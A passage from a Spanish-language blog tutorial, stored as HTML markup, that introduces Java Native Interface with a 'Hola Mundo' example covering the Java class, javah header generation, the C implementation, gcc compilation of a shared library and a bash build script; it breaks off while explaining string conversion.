&lt;b&gt;Editor de texto : Vim&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Lenguaje de soporte : C&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Compilador : gcc&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Depurador : gdb&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Terminal : gnome-terminal o konsole&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Tutorial&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Primero que nada vamos a crear una clase java que implemente un metodo nativo,vamos a hacer el ejemplo de Hola Mundo con JNI,para ello debemos implementar una función nativa en la clase la cual lleva dos modificadores &amp;nbsp;el tipo de funcion y no lleva implementacion,puede lucir asi:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;private native void saluda();&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
El modificador &lt;b&gt;private&lt;/b&gt; se usa porque se manipulara desde la propia clase solamente y en inversa el método nativo podrá acceder a elementos de la clase.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;native&lt;/b&gt; es la palabra reservada para saber que sera un método nativo.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;void&lt;/b&gt; es el tipo de función o de retorno,en este caso seria un procedimiento al no regresar nada.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;saluda()&lt;/b&gt; es el nombre del procedimiento y en este caso no lleva parámetros.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Tenemos que hacer una cosa mas,tenemos que cargar la librería nativa,esto lo hacemos llamando la librería .so,que seria por ejemplo&lt;b&gt;&amp;nbsp;libHolaMundo.so, &lt;/b&gt;lo hacemos usando el bloque estático &lt;b&gt;static&lt;/b&gt; que como mencionamos alguna vez este bloque se carga antes de cualquier cosa,dentro de el usamos la función&amp;nbsp;&lt;b&gt;System.loadLibrary &lt;/b&gt;le pasamos como argumento un String con el nombre de la librería sin&lt;b&gt; lib &lt;/b&gt;y sin &lt;b&gt;.so&lt;/b&gt;:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Por ejemplo:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;System.loadLibrary(&quot;HolaMundo&quot;);&lt;/b&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Bien así se ve el código entero:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #888888;&quot;&gt;// Archivo HolaMundo.java&lt;/span&gt;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: #bb0066; font-weight: bold;&quot;&gt;HolaMundo&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;native&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;saluda&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;();&lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
        System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;loadLibrary&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;HolaMundo&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
    
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;String &lt;span style=&quot;color: #333333;&quot;&gt;[]&lt;/span&gt;args&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
        System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Hola desde Java&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;HolaMundo&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;saluda&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;();&lt;/span&gt;
    &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
    
&lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Ahora debemos compilarlo:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;javac HolaMundo.java&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Esto nos genera el&lt;b&gt; .class&lt;/b&gt;,aun no lo podemos ejecutar ya que necesitamos la librería,lo que debemos hacer es crearla,para ello debemos compilar un &lt;b&gt;.c &lt;/b&gt;como&lt;b&gt; .so&lt;/b&gt;,pero primero necesitamos crearlo y para ello primero debemos crear una cabecera &lt;b&gt;.h&lt;/b&gt;,lo bueno es que java tiene esta utilidad:&lt;br /&gt;
&lt;br /&gt;
Creamos el header:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;javah HolaMundo&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBFW-wBeRk1cDhVGEfE2RZ_BU98W8GnpmCCslHNbjnSI1jYVac9paBqJnzQeqiorxY1uKs3S84NyGL2NBspWZjxt9DXhQZ-0glilLP90Q7hvOSkb5xb4lf_7NP-j9jEKzq2edxB_hu_G76/s1600/javah.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBFW-wBeRk1cDhVGEfE2RZ_BU98W8GnpmCCslHNbjnSI1jYVac9paBqJnzQeqiorxY1uKs3S84NyGL2NBspWZjxt9DXhQZ-0glilLP90Q7hvOSkb5xb4lf_7NP-j9jEKzq2edxB_hu_G76/s1600/javah.png&quot; height=&quot;255&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Ahora bien nos genera el .h y aunque es muy importante no debemos editarlo,incluso nos lo advierten en la primera linea:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgljS4VVuLCH55DslZe9zOzDuaSlayPM0EcCyDMcu4AJJAWmRLWOkIgRM6h1yGPntIjmJ1ie_Cn8hNzlRG7TNjW_yG1nsyC4ZztH3ITZP2SneqA50KQj93vGMtldNDUTk6d9LO2NGb5gvew/s1600/holamundoh.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgljS4VVuLCH55DslZe9zOzDuaSlayPM0EcCyDMcu4AJJAWmRLWOkIgRM6h1yGPntIjmJ1ie_Cn8hNzlRG7TNjW_yG1nsyC4ZztH3ITZP2SneqA50KQj93vGMtldNDUTk6d9LO2NGb5gvew/s1600/holamundoh.png&quot; height=&quot;408&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Lo que debemos de ver es la funcion que crea,ya que es la que debemos implementar en el .c del mismo:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #557799;&quot;&gt;#include &amp;lt;jni.h&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;/* Header for class HolaMundo */&lt;/span&gt;

&lt;span style=&quot;color: #557799;&quot;&gt;#ifndef _Included_HolaMundo&lt;/span&gt;
&lt;span style=&quot;color: #557799;&quot;&gt;#define _Included_HolaMundo&lt;/span&gt;
&lt;span style=&quot;color: #557799;&quot;&gt;#ifdef __cplusplus&lt;/span&gt;
&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;extern&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;C&quot;&lt;/span&gt; {
&lt;span style=&quot;color: #557799;&quot;&gt;#endif&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;/*&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; * Class:     HolaMundo&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; * Method:    saluda&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; * Signature: ()V&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; */&lt;/span&gt;
JNIEXPORT &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; JNICALL Java_HolaMundo_saluda
  (JNIEnv &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;, jobject);

&lt;span style=&quot;color: #557799;&quot;&gt;#ifdef __cplusplus&lt;/span&gt;
}
&lt;span style=&quot;color: #557799;&quot;&gt;#endif&lt;/span&gt;
&lt;span style=&quot;color: #557799;&quot;&gt;#endif&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
En este caso:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;JNIEXPORT void JNICALL Java_HolaMundo_saluda&lt;/b&gt;&lt;b&gt;&amp;nbsp; (JNIEnv *, jobject);&lt;/b&gt;&lt;/blockquote&gt;
Como vemos contiene dos Macros:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;JNIEXPORT y&amp;nbsp;JNICALL&lt;/b&gt;,los cuales se encargan de ejecutar correctamente la función.&lt;br /&gt;
&lt;br /&gt;
Cambien tenemos el tipo de función en este caso &lt;b&gt;void&lt;/b&gt;,como es un tipo similar al de c no hay problema ,pero veremos otros si fuera por ejemplo una función int,veríamos un jint,o una función String veríamos un jstring,etc.&lt;br /&gt;
&lt;br /&gt;
Vemos el nombre de la función dividido en tres partes:&lt;br /&gt;
&lt;br /&gt;
Java, el nombre de la clase y el nombre de la función escrita en la clase.&lt;br /&gt;
&lt;br /&gt;
Por ultimo vemos dos argumentos?&lt;br /&gt;
&lt;br /&gt;
Pero porque dos argumentos si no le pasamos nada desde java,estos son un&amp;nbsp;&lt;b&gt;JNIEnv&lt;/b&gt; que es el entorno,el que usaremos para toda la manipulación de datos de java,y un&amp;nbsp;&lt;b&gt;jobject&lt;/b&gt; que es la representación de la clase misma de Java(la que llama al programa en &lt;b&gt;C&lt;/b&gt;).&lt;br /&gt;
&lt;br /&gt;
Bien ahora si vamos a crear el .c,el cual no hará casi nada solo implementar esa función:&lt;br /&gt;
&lt;br /&gt;
En la primera linea debemos o deberíamos llamar a &lt;b&gt;jni.h &lt;/b&gt;pero como ya lo llamamos en el &lt;b&gt;HolaMundo.h &lt;/b&gt;no es necesario,aunque podemos hacerlo,luego incluimos el &lt;b&gt;stdio.h&lt;/b&gt; como siempre y por ultimo creamos la función que nos muestra el .h,prácticamente podemos copiar y pegar,pero no ya que aunque el .h define los dos argumentos que vamos usar no define los nombres,así queda el .c:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
2
3
4
5
6
7
8
9&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #008800;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #008800;&quot;&gt;#include &quot;HolaMundo.h&quot;&lt;/span&gt;


JNIEXPORT &lt;span style=&quot;color: #00bb00; font-weight: bold;&quot;&gt;void&lt;/span&gt; JNICALL &lt;span style=&quot;color: #00a000;&quot;&gt;Java_HolaMundo_saluda&lt;/span&gt;
  (JNIEnv &lt;span style=&quot;color: #666666;&quot;&gt;*&lt;/span&gt; env, jobject obj)
{
    puts(&lt;span style=&quot;color: #bb4444;&quot;&gt;&quot;Hola desde JNI&quot;&lt;/span&gt;);
}
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Bien ahora solo queda crear el .so,para ello debemos compilar llamando las librerias necesarias,en mi caso(por la versión de java que uso):&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;gcc -shared -I/usr/lib/jvm/&lt;span style=&quot;color: red;&quot;&gt;java-8-oracle&lt;/span&gt;/include/ -I/usr/lib/jvm/&lt;span style=&quot;color: red;&quot;&gt;java-8-oracle&lt;/span&gt;/include/linux/&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;-o&lt;span style=&quot;color: red;&quot;&gt; libHolaMundo.so HolaMundo.c&lt;/span&gt; -Wall&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Lo que esta en rojo es lo que debemos cambiar(o tal vez no):&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Eso es todo ahora basta ejecutar,pero debemos redefinir o agrear el &lt;b&gt;PATH&lt;/b&gt; actual al &amp;nbsp;&lt;b&gt;LD_LIBRARY_PATH&lt;/b&gt;,para que podamos usar la librería que acabamos de crear ya que actualmente esta en . y no donde java lo pide :&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;export LD_LIBRARY_PATH=.&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
Ejecutamos;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;java HolaMundo&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxPVkNL_sNc-svltp29l98q-BE20lHX4HvGvCEdP21M-ExTq0TSIR59mNBvpGqYeNGDV61bYjc85LjLh-aOqodoiyU8jpG4L1zEpf_PKsCZIwKLLA9sh9susjcAtuPMspPZ3gBxsnW4zLO/s1600/holaJNI.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxPVkNL_sNc-svltp29l98q-BE20lHX4HvGvCEdP21M-ExTq0TSIR59mNBvpGqYeNGDV61bYjc85LjLh-aOqodoiyU8jpG4L1zEpf_PKsCZIwKLLA9sh9susjcAtuPMspPZ3gBxsnW4zLO/s1600/holaJNI.png&quot; height=&quot;408&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Si deseamos modificar un archivo debemos ejecutar todo de nuevo,el javac,el javah,el gcc así que podemos crear un script en bash para automatizarlo,bueno eso me sirve a mi,vean este seria:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #996633;&quot;&gt;NAME&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;HolaMundo &lt;span style=&quot;color: #888888;&quot;&gt;# Editar&lt;/span&gt;

&lt;span style=&quot;color: #996633;&quot;&gt;PJAVA&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;java-8-oracle &lt;span style=&quot;color: #888888;&quot;&gt;# Editar&lt;/span&gt;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;function &lt;/span&gt;genera&lt;span style=&quot;color: #333333;&quot;&gt;(){&lt;/span&gt;
&lt;span style=&quot;color: #007020;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Ejecutando javac $NAME.java&quot;&lt;/span&gt;

javac &lt;span style=&quot;color: #996633;&quot;&gt;$NAME&lt;/span&gt;.java

&lt;span style=&quot;color: #007020;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Ejecutando javah $NAME&quot;&lt;/span&gt;

javah &lt;span style=&quot;color: #996633;&quot;&gt;$NAME&lt;/span&gt;
&lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;function &lt;/span&gt;compila&lt;span style=&quot;color: #333333;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
&lt;span style=&quot;color: #007020;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Ejecutando gcc&quot;&lt;/span&gt;

gcc -shared -I/usr/lib/jvm/&lt;span style=&quot;color: #996633;&quot;&gt;$PJAVA&lt;/span&gt;/include/ -I/usr/lib/jvm/&lt;span style=&quot;color: #996633;&quot;&gt;$PJAVA&lt;/span&gt;/include/linux/ -o lib&lt;span style=&quot;color: #996633;&quot;&gt;$NAME&lt;/span&gt;.so &lt;span style=&quot;color: #996633;&quot;&gt;$NAME&lt;/span&gt;.c -Wall

&lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;function &lt;/span&gt;ejecuta&lt;span style=&quot;color: #333333;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
&lt;span style=&quot;color: #007020;&quot;&gt;echo&lt;/span&gt; -e &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Ejecutando $NAME\n&quot;&lt;/span&gt;

java &lt;span style=&quot;color: #996633;&quot;&gt;$NAME&lt;/span&gt;
&lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;function &lt;/span&gt;ayuda&lt;span style=&quot;color: #333333;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
&lt;span style=&quot;color: #007020;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;$0&lt;/span&gt;
&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;         -h : ayuda&lt;/span&gt;
&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;         -g : generar .h&lt;/span&gt;
&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;         -e : ejecutar&lt;/span&gt;
&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;         -c : compila&lt;/span&gt;
&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;         -a : ejecutar todo&lt;/span&gt;
&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;    &quot;&lt;/span&gt;
&lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #996633;&quot;&gt;$1&lt;/span&gt; in
    -e&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt;
        ejecuta
    ;;
    -g&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt;
        genera
    ;;
    -c&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt;
        compila
    ;;
    -a&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt;
        genera
        compila
        ejecuta
    ;;
    -h|&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt;
        ayuda
    ;;
&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;esac&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Así solo ejecutamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;bash exec.sh -a&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1UvWsTKwNgDTZo4KZ1zIMQMdCxjLm0z0aI02JjdK-zPKEl_KNdBQgtb1b1v6wJt0gs6cLYgu0qpR-yDRk6G8J5sOGjORVccBD18s67Dy7EutComsXSUq4OHJtE5349AVriStUBpP3Ov1Y/s1600/execbashjavaJNI.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1UvWsTKwNgDTZo4KZ1zIMQMdCxjLm0z0aI02JjdK-zPKEl_KNdBQgtb1b1v6wJt0gs6cLYgu0qpR-yDRk6G8J5sOGjORVccBD18s67Dy7EutComsXSUq4OHJtE5349AVriStUBpP3Ov1Y/s1600/execbashjavaJNI.png&quot; height=&quot;408&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Todo lo que acabamos de hacer,crear el .java el .h,el .c,el .sh(opcional) siempre lo vamos a hacer,así que esa era la introducción a JNI,ahora lo que sigue es saber usar el API,manejar funciones y tipos de datos de jni.h,usar,obtener,devolver y modificar objetos de java desde el código .c.&lt;br /&gt;
&lt;br /&gt;
Vamos a hacer una función saludar mejorada esta función saludara a un nombre que le pasemos,para eso modificamos la función de la clase HolaMundo.java para que quede así:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;private native void saluda(String nombre);&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
También modificamos la llamada,que esta mas abajo:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;new HolaMundo().saluda(&quot;nombre&quot;);&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
Ahora compilamos y generamos el &lt;b&gt;.h&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;bash exec.sh -g&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
o&lt;/div&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;javac HolaMundo.java&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;javah HolaMundo&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Bien luego debemos editar el .c,ya que si vemos el .h,cambio y nos pasa un argumento mas:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;jstring&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Para usar la &lt;b&gt;String&lt;/b&gt; que nos pasa Java debemos crear una referencia a un tipo&lt;b&gt; const char&lt;/b&gt;, y luego apuntar al &lt;b&gt;String&lt;/b&gt;,primero seria así:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: purple;&quot;&gt;const char * nombre;&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Luego tenemos que pedir la &lt;b&gt;String&lt;/b&gt; con la función &lt;b&gt;GetStringUTFChars&lt;/b&gt; o &lt;b&gt;GetStringChars&lt;/b&gt; de &lt;b&gt;jni &lt;/b&gt;la cual nos devuelve el &lt;b&gt;String&lt;/b&gt; en &lt;b&gt;UTF-8&lt;/b&gt; o &lt;b&gt;Unicode&lt;/b&gt;,le pasamos tres argumentos,el primero es el entorno,el segundo es el &lt;b&gt;jstring&lt;/b&gt; y el ultimo un&amp;nbsp;&lt;b&gt;jboolean&lt;/b&gt;,este no nos interesa,podemos ponerlo en &lt;b&gt;NULL&lt;/b&gt; o en &lt;b&gt;JNI_TRUE&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Para llamar una función de JNI usamos un puntero de &lt;b&gt;env&lt;/b&gt; simulando una clase de C++,así:&lt;br /&gt;
&lt;br /&gt;
